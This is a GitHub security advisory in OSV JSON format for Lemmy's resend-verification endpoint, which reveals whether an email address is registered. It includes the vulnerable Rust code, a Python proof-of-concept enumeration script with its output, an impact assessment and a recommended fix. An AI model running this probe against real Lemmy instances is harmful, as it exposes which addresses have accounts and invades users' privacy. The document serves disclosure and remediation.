{"id":"GHSA-qxrw-f6fh-34r7","summary":"Lemmy resend-verification endpoint exposes registered email addresses to unauthenticated users","details":"## Summary\n\nThe unauthenticated resend-verification endpoint returns different responses for registered and unregistered email addresses. A malicious third party can submit candidate addresses to `/api/v4/account/auth/resend_verification_email` and distinguish accounts from misses.\n\n## Details\n\n`resend_verification_email()` looks up the submitted address and returns the lookup error to the caller:\n\n```rust\nlet local_user_view = LocalUserView::find_by_email(&mut context.pool(), &email).await?;\ncheck_local_user_valid(&local_user_view)?;\n```\n\nThe password reset endpoint already uses a safer pattern. It discards lookup errors and returns success, which prevents the same account-discovery channel.\n\n## Proof of Concept\n\nThe following script creates one user and probes that address plus a missing address.\n\n```python\nimport requests, random, string\n\nBASE = \"http://127.0.0.1:8536/api/v4\"  # change to the target Lemmy URL\nADMIN_USER = \"lemmy\"\nADMIN_PASS = \"lemmylemmy\"\nPASSWORD = \"Password123456!\"\n\ndef post(path, **body):\n    return requests.post(BASE + path, json=body)\n\nsuffix = \"enum\" + \"\".join(random.choice(string.ascii_lowercase) for _ in range(6))\nadmin = post(\"/account/auth/login\", username_or_email=ADMIN_USER, password=ADMIN_PASS).json()[\"jwt\"]\nrequests.put(BASE + \"/site\", headers={\"Authorization\": \"Bearer \" + admin},\n             json={\"registration_mode\": \"open\", \"email_verification_required\": False})\n\nemail = \"alice\" + suffix + \"@example.test\"\npost(\"/account/auth/register\", username=\"alice\" + suffix, password=PASSWORD,\n     password_verify=PASSWORD, email=email).raise_for_status()\n\nfor candidate in [email, \"missing\" + suffix + \"@example.test\"]:\n    r = post(\"/account/auth/resend_verification_email\", email=candidate)\n    print(candidate, \"HTTP\", r.status_code, r.text[:300])\n\n```\n\nOutput:\n\n```text\nalicepoceudtpf@example.test HTTP 200 {\"success\":true}\nmissingpoceudtpf@example.test HTTP 404 {\"error\":\"not_found\",\"cause\":\"Record not found\"}\n```\n\n## Impact\n\nA malicious third party can enumerate registered email addresses without authentication. The endpoint uses the registration rate limit bucket, not an endpoint-specific anti-enumeration limit, so the attacker can automate probes across candidate address lists. The response also distinguishes missing accounts from banned or deleted accounts because `check_local_user_valid()` returns separate error types.\n\n## Recommended Fix\n\nUse the password-reset pattern for resend verification. Move the lookup and email-send work into a helper, ignore helper errors in the handler, and always return `{\"success\": true}` for syntactically valid input.\n\n---\n*Found by [aisafe.io](https://aisafe.io)*","modified":"2026-05-07T00:03:51.724570Z","published":"2026-05-06T23:49:18Z","database_specific":{"github_reviewed":true,"cwe_ids":["CWE-204"],"github_reviewed_at":"2026-05-06T23:49:18Z","nvd_published_at":null,"severity":"MODERATE"},"references":[{"type":"WEB","url":"https://github.com/LemmyNet/lemmy/security/advisories/GHSA-qxrw-f6fh-34r7"},{"type":"WEB","url":"https://github.com/LemmyNet/lemmy/commit/4afff1699d08920b9a9023e81b229d772b894d91"},{"type":"PACKAGE","url":"https://github.com/LemmyNet/lemmy"}],"affected":[{"package":{"name":"lemmy_api","ecosystem":"crates.io","purl":"pkg:cargo/lemmy_api"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"last_affected":"0.19.1-rc.1"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-qxrw-f6fh-34r7/GHSA-qxrw-f6fh-34r7.json"}}],"schema_version":"1.7.5","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P"}]}